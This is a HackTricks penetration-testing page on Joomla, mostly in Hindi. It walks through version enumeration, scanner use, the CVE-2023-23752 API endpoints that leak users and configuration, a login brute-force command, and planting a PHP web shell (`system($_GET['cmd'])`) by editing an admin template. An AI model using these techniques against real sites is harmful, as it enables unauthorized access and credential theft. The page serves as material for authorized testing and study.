# Joomla {{#include ../../banners/hacktricks-training.md}} ### Joomla Statistics Joomla कुछ गुमनाम [उपयोग सांख्यिकी](https://developer.joomla.org/about/stats.html) एकत्र करता है जैसे Joomla, PHP और डेटाबेस संस्करणों और Joomla इंस्टॉलेशन पर उपयोग में आने वाले सर्वर ऑपरेटिंग सिस्टम का विभाजन। इस डेटा को उनके सार्वजनिक [API](https://developer.joomla.org/about/stats/api.html) के माध्यम से क्वेरी किया जा सकता है। ```bash curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool { "data": { "cms_version": { "3.0": 0, "3.1": 0, "3.10": 6.33, "3.2": 0.01, "3.3": 0.02, "3.4": 0.05, "3.5": 12.24, "3.6": 22.85, "3.7": 7.99, "3.8": 17.72, "3.9": 27.24, "4.0": 3.21, "4.1": 1.53, "4.2": 0.82, "4.3": 0, "5.0": 0 }, "total": 2951032 } } ``` ## Enumeration ### Discovery/Footprinting - **मेटा** की जांच करें ```bash curl https://www.joomla.org/ | grep Joomla | grep generator ``` - robots.txt ``` # If the Joomla site is installed within a folder # eg www.example.com/joomla/ then the robots.txt file # MUST be moved to the site root # eg www.example.com/robots.txt # AND the joomla folder name MUST be prefixed to all of the # paths. [...] ``` - README.txt ``` 1- What is this? * This is a Joomla! installation/upgrade package to version 3.x * Joomla! Official site: https://www.joomla.org * Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history) * Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging ``` ### संस्करण - In **/administrator/manifests/files/joomla.xml** you can see the version. - In **/language/en-GB/en-GB.xml** you can get the version of Joomla. - In **plugins/system/cache/cache.xml** you can see an approximate version. ### स्वचालित ```bash droopescan scan joomla --url http://joomla-site.local/ ``` In[ **80,443 - Pentesting Web Methodology एक अनुभाग है जो CMS स्कैनर्स के बारे में है**](#cms-scanners) जो Joomla को स्कैन कर सकते हैं। ### API अनधिकृत जानकारी का प्रकटीकरण: संस्करण 4.0.0 से 4.2.7 अनधिकृत जानकारी के प्रकटीकरण (CVE-2023-23752) के प्रति संवेदनशील हैं जो क्रेड्स और अन्य जानकारी को डंप करेगा। - उपयोगकर्ता: `http:///api/v1/users?public=true` - कॉन्फ़िग फ़ाइल: `http:///api/index.php/v1/config/application?public=true` **MSF मॉड्यूल**: `scanner/http/joomla_api_improper_access_checks` या रूबी स्क्रिप्ट: [51334](https://www.exploit-db.com/exploits/51334) ### ब्रूट-फोर्स आप इस [स्क्रिप्ट](https://github.com/ajnik/joomla-bruteforce) का उपयोग लॉगिन को ब्रूट फोर्स करने का प्रयास करने के लिए कर सकते हैं। ```shell-session sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin admin:admin ``` ## RCE यदि आप **admin credentials** प्राप्त करने में सफल हो गए हैं, तो आप **RCE अंदर** प्राप्त करने के लिए **PHP कोड** का एक स्निपेट जोड़ सकते हैं। हम इसे **template** को **कस्टमाइज़** करके कर सकते हैं। 1. **`Templates`** पर क्लिक करें जो `Configuration` के तहत नीचे बाईं ओर है, ताकि टेम्पलेट मेनू खुल सके। 2. एक **template** नाम पर क्लिक करें। आइए **`protostar`** चुनते हैं जो `Template` कॉलम हेडर के तहत है। यह हमें **`Templates: Customise`** पृष्ठ पर ले जाएगा। 3. अंत में, आप एक पृष्ठ पर क्लिक कर सकते हैं ताकि **पृष्ठ स्रोत** खुल सके। आइए **`error.php`** पृष्ठ चुनते हैं। हम कोड निष्पादन प्राप्त करने के लिए एक **PHP one-liner** जोड़ेंगे: 1. **`system($_GET['cmd']);`** 4. **Save & Close** 5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id` ## From XSS to RCE - [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla शोषण स्क्रिप्ट जो **XSS को RCE या अन्य महत्वपूर्ण कमजोरियों में बढ़ाती है**। अधिक जानकारी के लिए [**इस पोस्ट**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) की जांच करें। यह **Joomla संस्करण 5.X.X, 4.X.X, और 3.X.X के लिए समर्थन प्रदान करता है, और अनुमति देता है:** - _**Privilege Escalation:**_ Joomla में एक उपयोगकर्ता बनाता है। - _**(RCE) Built-In Templates Edit:**_ Joomla में Built-In Templates को संपादित करता है। - _**(Custom) Custom Exploits:**_ तृतीय-पक्ष Joomla प्लगइन्स के लिए कस्टम शोषण। {{#include ../../banners/hacktricks-training.md}}